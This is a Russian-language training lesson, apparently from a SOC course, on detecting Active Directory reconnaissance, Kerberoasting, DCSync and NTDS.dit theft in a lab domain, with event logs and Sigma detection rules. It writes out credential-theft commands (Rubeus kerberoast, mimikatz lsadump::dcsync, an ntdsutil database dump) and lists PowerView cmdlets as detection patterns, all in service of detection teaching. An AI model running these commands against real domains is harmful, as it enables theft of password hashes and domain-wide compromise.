При попадании в инфраструктуру обычно производится поиск административных учетных записей, привилегированных группы безопасности, наличие настроенных соглашений (trust) между контроллерами доменов с дочерними/родительскими организациями.

 net user /domain выведет названия всех учетных записей в домене. Достаточна непривилегированная учетная запись в группе пользователей домена.
 

Данная команда журналируется только на локальном компьютере, на котором она была исполнена, ее обычно запускают на первом зараженном хосте. Cобытие EventID=4688 журнала Security или на событии EventID=1 журнала Sysmon.

Рассмотрим ниже пример события EventID=1 журнала Sysmon с разведкой в формате xml, где обратите внимание на поле 

<Data Name="CommandLine">C:\Windows\system32\net1 user /domain</Data>
                  

  , в котором зафиксирована команда разведки. Как вы заметили в журнале команда net зафиксирована как net1, это сделано для обеспечения совместимости и исправления старой ошибки в команде net в 2000 году и осталась в системе до сих пор. Ситуации с различием команд при логировании и исполнении в командной строке не так часты, но их надо учитывать при разработке корреляционных правил выявления атак и проверять, как журналирует система выполненные команды, если даже они кажутся очевидными.

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" />
  <EventID>1</EventID>
  <Version>5</Version>
  <Level>4</Level>
  <Task>1</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2024-02-04T14:23:41.035418100Z" />
  <EventRecordID>6914807</EventRecordID>
  <Correlation />
  <Execution ProcessID="1604" ThreadID="2020" />
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer>
  <Security UserID="S-1-5-18" />
  </System>
- <EventData>
  <Data Name="RuleName">-</Data>
  <Data Name="UtcTime">2024-02-04 14:23:41.019</Data>
  <Data Name="ProcessGuid">{460797FE-9DED-65BF-7D01-000000001800}</Data>
  <Data Name="ProcessId">976</Data>
  <Data Name="Image">C:\Windows\System32\net1.exe</Data>
  <Data Name="FileVersion">6.3.9600.17415 (winblue_r4.141028-1500)</Data>
  <Data Name="Description">Net Command</Data>
  <Data Name="Product">Microsoft® Windows® Operating System</Data>
  <Data Name="Company">Microsoft Corporation</Data>
  <Data Name="OriginalFileName">net1.exe</Data>
  <Data Name="CommandLine">C:\Windows\system32\net1 user /domain</Data>
  <Data Name="CurrentDirectory">C:\Windows\system32\</Data>
  <Data Name="User">LAB\Administrator</Data>
  <Data Name="LogonGuid">{460797FE-9671-65BE-4054-040000000000}</Data>
  <Data Name="LogonId">0x45440</Data>
  <Data Name="TerminalSessionId">1</Data>
  <Data Name="IntegrityLevel">High</Data>
  <Data Name="Hashes">MD5=A3F48D90EE53FDF2547B41F87A7C8080,SHA256=D28BC8FA6E80316833C0EBB948B46511971B96635892F40998A216A2DD5EC8AA,IMPHASH=EA59607831B13D45CEC2066C9436738F</Data>
  <Data Name="ParentProcessGuid">{460797FE-9DEC-65BF-7C01-000000001800}</Data>
  <Data Name="ParentProcessId">2372</Data>
  <Data Name="ParentImage">C:\Windows\System32\net.exe</Data>
  <Data Name="ParentCommandLine">net user /domain</Data>
  <Data Name="ParentUser">LAB\Administrator</Data>
  </EventData>
  </Event>
                  

net group /domain. 

Так будет выглядить событие в формате xml по разведке доменных групп. Базируется выявление активности так же на событии EventID=4688 журнала Security или на событии EventID=1 журнала Sysmon. Обратите внимание на поле 

<Data Name="CommandLine">C:\Windows\system32\net1 group /domain</Data>
                  

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" />
  <EventID>1</EventID>
  <Version>5</Version>
  <Level>4</Level>
  <Task>1</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2024-02-04T15:15:07.129601400Z" />
  <EventRecordID>6921609</EventRecordID>
  <Correlation />
  <Execution ProcessID="1604" ThreadID="2020" />
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer>
  <Security UserID="S-1-5-18" />
  </System>
- <EventData>
  <Data Name="RuleName">-</Data>
  <Data Name="UtcTime">2024-02-04 15:15:07.129</Data>
  <Data Name="ProcessGuid">{460797FE-A9FB-65BF-9201-000000001800}</Data>
  <Data Name="ProcessId">2988</Data>
  <Data Name="Image">C:\Windows\System32\net1.exe</Data>
  <Data Name="FileVersion">6.3.9600.17415 (winblue_r4.141028-1500)</Data>
  <Data Name="Description">Net Command</Data>
  <Data Name="Product">Microsoft® Windows® Operating System</Data>
  <Data Name="Company">Microsoft Corporation</Data>
  <Data Name="OriginalFileName">net1.exe</Data>
  <Data Name="CommandLine">C:\Windows\system32\net1 group /domain</Data>
  <Data Name="CurrentDirectory">C:\Windows\system32\</Data>
  <Data Name="User">LAB\Administrator</Data>
  <Data Name="LogonGuid">{460797FE-9671-65BE-4054-040000000000}</Data>
  <Data Name="LogonId">0x45440</Data>
  <Data Name="TerminalSessionId">1</Data>
  <Data Name="IntegrityLevel">High</Data>
  <Data Name="Hashes">MD5=A3F48D90EE53FDF2547B41F87A7C8080,SHA256=D28BC8FA6E80316833C0EBB948B46511971B96635892F40998A216A2DD5EC8AA,IMPHASH=EA59607831B13D45CEC2066C9436738F</Data>
  <Data Name="ParentProcessGuid">{460797FE-A9FB-65BF-9101-000000001800}</Data>
  <Data Name="ParentProcessId">2908</Data>
  <Data Name="ParentImage">C:\Windows\System32\net.exe</Data>
  <Data Name="ParentCommandLine">net group /domain</Data>
  <Data Name="ParentUser">LAB\Administrator</Data>
  </EventData>
  </Event>
                  

Отслеживать каждую команду разведки по отдельности в большой инфраструктуре может быть черевато большим количеством ложных срабатываний, поэтому стоит рассмотреть вариант выявления активнсти по массовому запуску команд разведки за короткий промежуток времени.

Примеры корреляционных правил на Sigma:

• Правило 1

title: Suspicious Reconnaissance Activity
id: d95de845-b83c-4a9a-8a6a-4fc802ebf6c0
status: experimental
description: Detects suspicious command line activity on Windows systems
author: Florian Roth
date: 2019/01/16
tags:
    - attack.discovery
    - attack.t1087
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine:
            - net group "domain admins" /domain
            - net localgroup administrators
    condition: selection
fields:
    - CommandLine
    - ParentCommandLine
falsepositives:
    - Inventory tool runs
    - Penetration tests
    - Administrative activity
analysis:
    recommendation: Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM)
level: medium
                  

• Правило 2

title: Suspicious Group And Account Reconnaissance Activity Using Net.EXE
id: d95de845-b83c-4a9a-8a6a-4fc802ebf6c0
status: test
description: Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE
references:
    - https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/
    - https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/
    - https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/
author: Florian Roth (Nextron Systems), omkar72, @svch0st, Nasreddine Bencherchali (Nextron Systems)
date: 2019/01/16
modified: 2023/03/02
tags:
    - attack.discovery
    - attack.t1087.001
    - attack.t1087.002
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\net.exe'
              - '\net1.exe'
        - OriginalFileName:
              - 'net.exe'
              - 'net1.exe'
    # Covers group and localgroup flags
    selection_group_root:
        CommandLine|contains:
            - ' group '
            - ' localgroup '
    selection_group_flags:
        CommandLine|contains:
            # Add more groups for other languages
            - 'domain admins'
            - ' administrator' # Typo without an 'S' so we catch both
            - ' administrateur' # Typo without an 'S' so we catch both
            - 'enterprise admins'
            - 'Exchange Trusted Subsystem'
            - 'Remote Desktop Users'
            - 'Utilisateurs du Bureau à distance' # French for "Remote Desktop Users"
            - 'Usuarios de escritorio remoto' # Spanish for "Remote Desktop Users"
            - ' /do' # short for domain
    filter_group_add:
        # This filter is added to avoid the potential case where the point is not recon but addition
        CommandLine|contains: ' /add'
    # Covers 'accounts' flag
    selection_accounts_root:
        CommandLine|contains: ' accounts '
    selection_accounts_flags:
        CommandLine|contains: ' /do' # short for domain
    condition: selection_img and ((all of selection_group_* and not filter_group_add) or all of selection_accounts_*)
fields:
    - CommandLine
    - ParentCommandLine
falsepositives:
    - Inventory tool runs
    - Administrative activity
level: medium
analysis:
    recommendation: Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM)
                  

Разведка с помощью командлетов (cmdlets) PowerShell

Выполним команду Get-ADForest. Данная команда выдает информацию о лесе AD. Лесом называют полностью самостоятельную организацию Active Directory, которая имеет определенный набор атрибутов и является периметром безопасности организации. В состав леса могут входить как один, так и несколько доменов. В лесу у каждого домена есть своя база данных и свои собственные контроллеры домена. Однако пользователи домена в лесу также могут получить доступ к другим доменам леса. Это означает, что даже если домен может быть автономным (без необходимости взаимодействия с другими доменами), он не изолирован с точки зрения безопасности, поскольку пользователь из одного домена по умолчанию может получить доступ к ресурсам других доменов в том же лесу. Однако пользователи леса по умолчанию не могут получить доступ к ресурсам из других лесов, поэтому лес является логической структурой, которая может обеспечить изоляцию с точки зрению безопасности.

Ниже представлено событие выполнения скрипт-блоков с EventID = 4104 из журнала Powershell. Обратите внимание на строку 

<Data Name="ScriptBlockText">get-adforest</Data>
                  

  , в которой зафиксировано выполнение команды.

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-PowerShell" Guid="{A0C1853B-5C40-4B15-8766-3CF1C58F985A}" /> 
  <EventID>4104</EventID> 
  <Version>1</Version> 
  <Level>5</Level> 
  <Task>102</Task> 
  <Opcode>15</Opcode> 
  <Keywords>0x0</Keywords> 
  <TimeCreated SystemTime="2024-02-04T20:00:41.649279800Z" /> 
  <EventRecordID>4667</EventRecordID> 
  <Correlation ActivityID="{6487D210-56D8-0000-D6F8-8764D856DA01}" /> 
  <Execution ProcessID="4092" ThreadID="3048" /> 
  <Channel>Microsoft-Windows-PowerShell/Operational</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-21-1043167210-2633990363-2710869231-500" /> 
  </System>
- <EventData>
  <Data Name="MessageNumber">1</Data> 
  <Data Name="MessageTotal">1</Data> 
  <Data Name="ScriptBlockText">get-adforest</Data> 
  <Data Name="ScriptBlockId">07651e4c-bb49-4563-8b55-1454584112d7</Data> 
  </EventData>
  </Event>
                  

Количество командлетов PowerShell для разведки не малое количество, выявить их запуск можно так же по событию с EventID = 4104. 

Пример корреляционного правила на Sigma для выявления команд разведки данных AD и не только.

title: PowerView PowerShell Cmdlets - ScriptBlock
id: dcd74b95-3f36-4ed9-9598-0490951643aa
related:
    - id: b2317cfa-4a47-4ead-b3ff-297438c0bc2d
      type: similar
status: test
description: Detects Cmdlet names from PowerView of the PowerSploit exploitation framework.
references:
    - https://powersploit.readthedocs.io/en/stable/Recon/README
    - https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
    - https://thedfirreport.com/2020/10/08/ryuks-return
    - https://adsecurity.org/?p=2277
author: Bhabesh Raj
date: 2021/05/18
modified: 2023/11/22
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection:
        ScriptBlockText|contains:
            - 'Export-PowerViewCSV'
            - 'Find-DomainLocalGroupMember'
            - 'Find-DomainObjectPropertyOutlier'
            - 'Find-DomainProcess'
            - 'Find-DomainShare'
            - 'Find-DomainUserEvent'
            - 'Find-DomainUserLocation'
            - 'Find-ForeignGroup'
            - 'Find-ForeignUser'
            - 'Find-GPOComputerAdmin'
            - 'Find-GPOLocation'
            - 'Find-InterestingDomain' # Covers: Find-InterestingDomainAcl, Find-InterestingDomainShareFile
            - 'Find-InterestingFile'
            - 'Find-LocalAdminAccess'
            - 'Find-ManagedSecurityGroups'
            - 'Get-CachedRDPConnection'
            - 'Get-DFSshare'
            - 'Get-DomainDFSShare'
            - 'Get-DomainDNSRecord'
            - 'Get-DomainDNSZone'
            - 'Get-DomainFileServer'
            - 'Get-DomainGPOComputerLocalGroupMapping'
            - 'Get-DomainGPOLocalGroup'
            - 'Get-DomainGPOUserLocalGroupMapping'
            - 'Get-LastLoggedOn'
            - 'Get-LoggedOnLocal'
            - 'Get-NetFileServer'
            - 'Get-NetForest' # Covers: Get-NetForestCatalog, Get-NetForestDomain, Get-NetForestTrust
            - 'Get-NetGPOGroup'
            - 'Get-NetProcess'
            - 'Get-NetRDPSession'
            - 'Get-RegistryMountedDrive'
            - 'Get-RegLoggedOn'
            - 'Get-WMIRegCachedRDPConnection'
            - 'Get-WMIRegLastLoggedOn'
            - 'Get-WMIRegMountedDrive'
            - 'Get-WMIRegProxy'
            - 'Invoke-ACLScanner'
            - 'Invoke-CheckLocalAdminAccess'
            - 'Invoke-EnumerateLocalAdmin'
            - 'Invoke-EventHunter'
            - 'Invoke-FileFinder'
            - 'Invoke-Kerberoast'
            - 'Invoke-MapDomainTrust'
            - 'Invoke-ProcessHunter'
            - 'Invoke-RevertToSelf'
            - 'Invoke-ShareFinder'
            - 'Invoke-UserHunter'
            - 'Invoke-UserImpersonation'
            - 'Remove-RemoteConnection'
            - 'Request-SPNTicket'
            - 'Resolve-IPAddress'
            # - 'Get-ADObject'  # prone to FPs
            # - 'Get-Domain'  # too many FPs  # Covers Cmdlets like: DomainComputer, DomainController, DomainDFSShare, DomainDNSRecord, DomainGPO, etc.
            # - 'Add-DomainGroupMember'
            # - 'Add-DomainObjectAcl'
            # - 'Add-ObjectAcl'
            # - 'Add-RemoteConnection'
            # - 'Convert-ADName'
            # - 'Convert-NameToSid'
            # - 'ConvertFrom-UACValue'
            # - 'ConvertTo-SID'
            # - 'Get-DNSRecord'
            # - 'Get-DNSZone'
            # - 'Get-DomainComputer'
            # - 'Get-DomainController'
            # - 'Get-DomainGroup'
            # - 'Get-DomainGroupMember'
            # - 'Get-DomainManagedSecurityGroup'
            # - 'Get-DomainObject'
            # - 'Get-DomainObjectAcl'
            # - 'Get-DomainOU'
            # - 'Get-DomainPolicy'
            # - 'Get-DomainSID'
            # - 'Get-DomainSite'
            # - 'Get-DomainSPNTicket'
            # - 'Get-DomainSubnet'
            # - 'Get-DomainUser'
            # - 'Get-DomainUserEvent'
            # - 'Get-Forest' # Covers: Get-ForestDomain, Get-ForestGlobalCatalog, Get-ForestTrust
            # - 'Get-IPAddress'
            # - 'Get-NetComputer' # Covers: Get-NetComputerSiteName
            # - 'Get-NetDomain' # Covers: Get-NetDomainController, Get-NetDomainTrust
            # - 'Get-NetGroup' # Covers: Get-NetGroupMember
            # - 'Get-NetLocalGroup' # Covers: NetLocalGroupMember
            # - 'Get-NetLoggedon'
            # - 'Get-NetOU'
            # - 'Get-NetSession'
            # - 'Get-NetShare'
            # - 'Get-NetSite'
            # - 'Get-NetSubnet'
            # - 'Get-NetUser'
            # - 'Get-ObjectAcl'
            # - 'Get-PathAcl'
            # - 'Get-Proxy'
            # - 'Get-SiteName'
            # - 'Get-UserEvent'
            # - 'Get-WMIProcess'
            # - 'New-DomainGroup'
            # - 'New-DomainUser'
            # - 'Set-ADObject'
            # - 'Set-DomainObject'
            # - 'Set-DomainUserPassword'
    condition: selection
falsepositives:
    - Unknown
level: high

Выявление разведки в журналах события AD

Для наиболее эффективной разведки могут воспользоваться утилитой SharpHound и результаты выполнения, потом, для удобства, визуализировать с помощью утилиты BloodHound. Аналогичные инструменты атакующих для разведки данных в AD, это, ADFind, PowerView и ldapsearch.

Запустим ADFind и посмотрим какие останутся следы в жураналах событий. Предварительно должен быть настроен аудит журналирования запросов для генерации событий EventID=1644 журнала Directory Service. Для настройки аудита необходимо с помощью PowerShell на контроллере домена выполнить команды: 

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value "5"
                  

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value "10"
                  

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Parameters' -Name 'Inefficient Search Results Threshold' -Value "10"
                  

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value "80"
                  

Данные команды изначально были предназначены отслеживания медленных запросов к AD. Настройку надо выполнять с осторожностью, поскольку повышается нагрузка на контроллере домена. В данном случае уже мы можем отслеживать аномальную активность на самом контроллере домена, это значит, что выявить атаку вероятность выше по сравнению с подходом выявления атаки при исполнении на конечном узле, т.к. события с контроллера домена всегда должны собираться в SIEM, как от критичного узла в инфраструктуре.
Выполним команду:

adfind -b dc=lab,dc=local -f "( |(sAMAccountName=Bill) )"
                  

Обратите внимание на строку в событии ниже с идентификатором 1644 со значением <Data>( | (sAMAccountName=Bill) )</Data>  , это зафиксирована команда с запросом от утилиты ADFind для получения информации о пользователе Bill.

В поле <Data>192.168.0.5:51653</Data> указан IP-адрес с которого был выполнен запрос.

В поле  <Data>LAB\Nick</Data>  указано под какой учетной записью был выполнен запрос.

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-ActiveDirectory_DomainService" Guid="{0e8478c5-3605-4e8c-8497-1e730c959516}" EventSourceName="NTDS General" /> 
  <EventID Qualifiers="16384">1644</EventID> 
  <Version>0</Version> 
  <Level>4</Level> 
  <Task>15</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8080000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-04T17:56:12.804105800Z" /> 
  <EventRecordID>309</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="480" ThreadID="1088" /> 
  <Channel>Directory Service</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-21-1043167210-2633990363-2710869231-1003" /> 
  </System>
- <EventData>
  <Data>CN=Schema,CN=Configuration,DC=lab,DC=local</Data> 
  <Data>( | (sAMAccountName=Bill) )</Data> 
  <Data>1630</Data> 
  <Data>50</Data> 
  <Data>192.168.0.5:51653</Data> 
  <Data>subtree</Data> 
  <Data>uid,sAMAccountName</Data> 
  <Data /> 
  <Data>DNT_index:1070:N;</Data> 
  <Data>14809</Data> 
  <Data>4</Data> 
  <Data>0</Data> 
  <Data>0</Data> 
  <Data>0</Data> 
  <Data>47</Data> 
  <Data>none</Data> 
  <Data>LAB\Nick</Data> 
  </EventData>
  </Event>
                  

Далее необходимо выявить хост и проанализировать с него журналы событий. 

Атака Kerberoasting

В Active Directory любой пользователь может запросить сервисный билет — Service Ticket для любой зарегистрированной службы в домене и имеющий Service Principal Name (SPN), независимо от статуса службы. Service Ticket частично зашифрован ключом Kerberos, полученным из пароля пользователя сервиса, что позволяет подобрать оффлайн пароль, расшифровывая Service Ticket.

Большинство служб регистрируются в учетных записях компьютеров с автоматически генерируемыми паролями длиной 120 символов, меняющимися ежемесячно, что делает взлом Service Ticket невозможным. Однако иногда службы привязываются к обычным учетным записям пользователей со слабыми паролями, что может быть использовано для взлома и получения паролей пользователей.

Атака Kerberoasting заключается в запросе Service Ticket для обычных учетных записей пользователей служб и последующей попытке взлома для получения паролей пользователей, которые обычно имеют высокие привилегии и далее используются на следующих этапах атак.

Проверим учетные записи пользователей с именами участников-служб с помощью ADFind, выполнив команду.

adfind -b dc=lab,dc=local -f "(&(samAccountType=805306368)(servicePrincipalName=*))"
                  

В результате получаем две учетный записи с SPN`ами — это krbtgt, который не попал на скриншот в связи с тем, что его не взломать подбором. Вторая учетная запись с SPN выделена на скриншоте sqlservice — это как раз тот самый лакомый кусочек для злоумышленника. Запросив Servcie Ticket для учетной записи sqlservice, злоумышленник может взламывать его у себя на хосте с помощью hashcat.

Для получения Service Ticket и дальнейшего оффлайн взлома, злоумышленник можете использовать следующие скрипты impacket GetUserSPNs.py, команду Rubeus kerberoast или сценарий Invoke-Kerberoast.ps1.

Проведем атаку с помощью утилиты Rubeus используя команду Rubeus.exe kerberoast и результатом получаем хэши от пароля для учетной записи sqlservice на скриншоте ниже, которые можем дальше взламывать.

Посмотрим как это будет зафиксировано в журналах событий на AD. При запросе Service Ticket сгенерировалось событие c EventID = 4769 в журнале Security. Обратите внимание на следующие важные поля:

• <Data Name="TargetUserName">Nick@LAB.LOCAL</Data> — учетная запись которая выполнила запрос.
• <Data Name="ServiceName">sqlservice</Data>  — наша учетная запись с SPN.
• <Data Name="TicketEncryptionType">0x17</Data>  — 0x17 означает шифрование AES256, но это не помеха для злоумышленника, потому что уже есть разработанные скрипты для взлома.
• <Data Name="IpAddress">192.168.0.5</Data> — IP-адрес выполнившего запрос Service Ticket.
• <Data Name="IpPort">58334</Data> — порты выполнившего запрос Service Ticket.

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" /> 
  <EventID>4769</EventID> 
  <Version>0</Version> 
  <Level>0</Level> 
  <Task>14337</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8020000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-04T23:59:03.715787300Z" /> 
  <EventRecordID>94453</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="480" ThreadID="1780" /> 
  <Channel>Security</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="TargetUserName">Nick@LAB.LOCAL</Data> 
  <Data Name="TargetDomainName">LAB.LOCAL</Data> 
  <Data Name="ServiceName">sqlservice</Data> 
  <Data Name="ServiceSid">S-1-5-21-1043167210-2633990363-2710869231-1118</Data> 
  <Data Name="TicketOptions">0x40800000</Data> 
  <Data Name="TicketEncryptionType">0x17</Data> 
  <Data Name="IpAddress">192.168.0.5</Data> 
  <Data Name="IpPort">58334</Data> 
  <Data Name="Status">0x0</Data> 
  <Data Name="LogonGuid">{9B1A0512-6224-531F-E2B8-C5A47A332D75}</Data> 
  <Data Name="TransmittedServices">-</Data> 
  </EventData>
  </Event>
                  

Важное замечание: подобных событий c EventID = 4769 будет огромное множество в инфраструктуре. Это обычная активность.

Для повышения эффективности атаки злоумышленник может запросить несколько Service Ticket за короткий промежуток времени, чтобы получить для дальнейшего брутфорса как можно больше данных, так как он заведомо не знает, у какой сервисной или пользовательской УЗ пароль будет менее криптостойким. Подобную активность можно попытаться выявить корреляционным правилом, которое отслеживает множественные запросы Service Ticket от одного источника за короткий промежуток времени.

Для выявления атаки также можно отслеживать запросы Service Ticket c шифрованием RC4, но может быть большое количество ложных срабатываний, если в инфраструктуре есть сервисы, которые используют устаревшее шифрование.

Пример правила для выявления запроса Service Ticket с шифрованием RC4 на Sigma:

title: Suspicious Kerberos RC4 Ticket Encryption
id: 496a0e47-0a33-4dca-b009-9e6ca3591f39
status: test
description: Detects service ticket requests using RC4 encryption type
references:
    - https://adsecurity.org/?p=3458
    - https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity
author: Florian Roth (Nextron Systems)
date: 2017/02/06
modified: 2022/06/19
tags:
    - attack.credential_access
    - attack.t1558.003
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketOptions: '0x40810000'
        TicketEncryptionType: '0x17'
    reduction:
        ServiceName|endswith: '$'
    condition: selection and not reduction
falsepositives:
    - Service accounts used on legacy systems (e.g. NetApp)
    - Windows Domains with DFL 2003 and legacy systems
level: medium
                  

Самый оптимальный способ выявления атаки kerberoasting — использование SPN HoneyToken. HoneyToken — это в данном случае подделанная учетная запись приманка с SPN, которая потом отслеживается на возникающие к ней запросы, т.к. в легитимных целях она не используется. Дополнительный материал об атаке Kerberoasting.

Атака DCSync

DCSync — это атака, позволяющая злоумышленнику выдавать себя за контроллер домена (DC, domain controller) с целью получения базы учетных данных пользователей для последующего горизонтального перемещения в сети и/или доступа к конфиденциальной информации. В основе атаки лежит механизм, предусмотренный для выполнения репликации данных между контроллерами домена (DC).

Механизм репликации данных архитектурно заложен в операционной системе Windows. Службы Active Directory и протокол MS-DRSR отвечают за взаимодействие между контроллерами домена и осуществляют репликацию. Сама компания Microsoft рекомендует изначально устанавливать как минимум два и более контроллера для одного домена в корпоративной сети, чтобы обеспечить отказоустойчивость доменной инфраструктуры. В процессе репликации данных между контроллерами помимо обычных атрибутов об объекте (имя, отчество, списка групп и так далее) передается и чувствительная информация, например, хеши паролей пользователей, поскольку каждый контроллер выступает как точка для аутентификации и авторизации в домене.

Как уже можно было догадаться, отчасти именно из-за наличия такого механизма возможна реализация атаки типа DCSync. Атакующий, имея необходимый набор привилегий, может отправить одному из контроллеров домена организации запрос на выполнение репликации. Запросив при этом информацию по одному или нескольким объектам в домене. Таким образом злоумышленник удаленно собирает хеши паролей пользователей и другую полезную информацию в домене без выполнения какого-либо вредоносного кода на самих контроллерах домена организации.

Необходимые права доступа для проведения атаки DCSync.

Атаку DCSync можно выполнить с помощью инструментов, таких как secretsdump из набора impacket и широко известной утилитой mimikatz.

Например злоумышленник выполняет атаку DCSync с помощью команды 

lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /all /csv
                  

Выявить атаку на контроллере домена можно с помощью события EventID=4662 журнала Security. Важно понимать, что включение аудита события 4662 может повлечь за собой генерацию большого количества событий, особенно при неаккуратной настройке SACL.
Настройка происходит в групповой политике: Computer configurations > Policies > Windows Settings > Security Settings > Local Policies > Audit Policy > Audit Directory Service Access > Enable Success. При настройке этого параметра в журналах будут генерироваться два новых идентификатора события: 4661 и 4662.
Предварительно должен быть так же настроен SACL для отслеживания доступа к объектам AD на контроллере домена связанные с репликацией:

AD Users and Computers >
[Domain] >
properties >
security >
advanced >
auditing > add:
Principal: Everyone
Type: Success
Applies to: This Object Only
Permissions: Replicating Directory Changes; Replicating Directory Changes All
                  

В результате атаки фиксируется событие, в котором необходимо обратить внимание на поле:

<Data Name="Properties">%%7688 {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-00c04fd930c9}</Data>
                  

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" /> 
  <EventID>4662</EventID> 
  <Version>0</Version> 
  <Level>0</Level> 
  <Task>14080</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8020000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-10T14:41:31.872715100Z" /> 
  <EventRecordID>111044</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="480" ThreadID="3808" /> 
  <Channel>Security</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="SubjectUserSid">S-1-5-21-1043167210-2633990363-2710869231-500</Data> 
  <Data Name="SubjectUserName">administrator</Data> 
  <Data Name="SubjectDomainName">LAB</Data> 
  <Data Name="SubjectLogonId">0x45440</Data> 
  <Data Name="ObjectServer">DS</Data> 
  <Data Name="ObjectType">%{19195a5b-6da0-11d0-afd3-00c04fd930c9}</Data> 
  <Data Name="ObjectName">%{83fb1e47-6d25-4d4b-a710-e244aca1c5e8}</Data> 
  <Data Name="OperationType">Object Access</Data> 
  <Data Name="HandleId">0x0</Data> 
  <Data Name="AccessList">%%7688</Data> 
  <Data Name="AccessMask">0x100</Data> 
  <Data Name="Properties">%%7688 {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} {19195a5b-6da0-11d0-afd3-00c04fd930c9}</Data> 
  <Data Name="AdditionalInfo">-</Data> 
  <Data Name="AdditionalInfo2" /> 
  </EventData>
  </Event>
                  

Пример правила для выявления атаки DCSync и в том числе DCShadow на Sigma. Дополнительный материал про DCSync.

Получение базы даных NTDS.dit

Контроллер домена отвечает за хранение базы данных домена NTDS.dit со всей информацией об объектах домена и обслуживает службы Active Directory, такие как аутентификация, авторизация, разрешение имен и т.д.

База данных хранится в файле C:\Windows\NTDS\ntds.dit на контроллере домена. Поэтому, если кто-то украдет этот файл, он сможет получить доступ ко всей информации об объектах домена (компьютерах, пользователях, группах, политиках и т.д.), включая учетные данные и хэши пользователей. Следовательно, доступ к этому файлу и к контроллерам домена должен быть ограничен администраторами домена и отслеживаться корреляционными правилам командой мониторинга SOC.

При получении доступа к учетной записи администратора домена, можно сделать дамп содержимого базы данных контроллера домена, чтобы прочитать некоторые конфиденциальные данные, такие как krbtgt учетные данные пользователя, для создания золотого билета (Golden Ticket) и дальнейшего свободного продвижения по всей Windows инфраструктуре.
Чтобы извлечь содержимое базы данных, злоумышленник может войти в систему на контроллере домена и локально выгрузить файл NTDS.dit с помощью встроенных в системе утилит ntdsutil или vssadmin. Данные утилиты нужны, потому что просто так взять и скопировать файл C:\Windows\NTDS\ntds.dit не получится так, как он используется всегда системой. Есть еще наиболее изящный для злоумышленников способов заполучить базу NTDS.dit, злоумышленник может заполучить административный доступ к системе виртуализации, где у него будет возможность сделать мгновенный снимок (SnapShot) виртуальной машины с сервером Active Directory, далее он выгружает к себе снимок виртуальной машины и делает с ним что хочет, в нашем случае, разбирает базу NTDS.dit. При этом система мониторинга уже это не сможет выявить, если только отслеживать на более раннем этапе действия учтеных записей по созданию снапшотов критичных серверов и их выгрузке из системы виртуализации. Детальнее об этом рассмотрим далее в уроке 4.4 текущего курса.

Рассмотрим вариант дампа базы NTDS.dit с помощью утилиты ntdsutil. Классическая команда выглядит следующим образом

ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit
                  

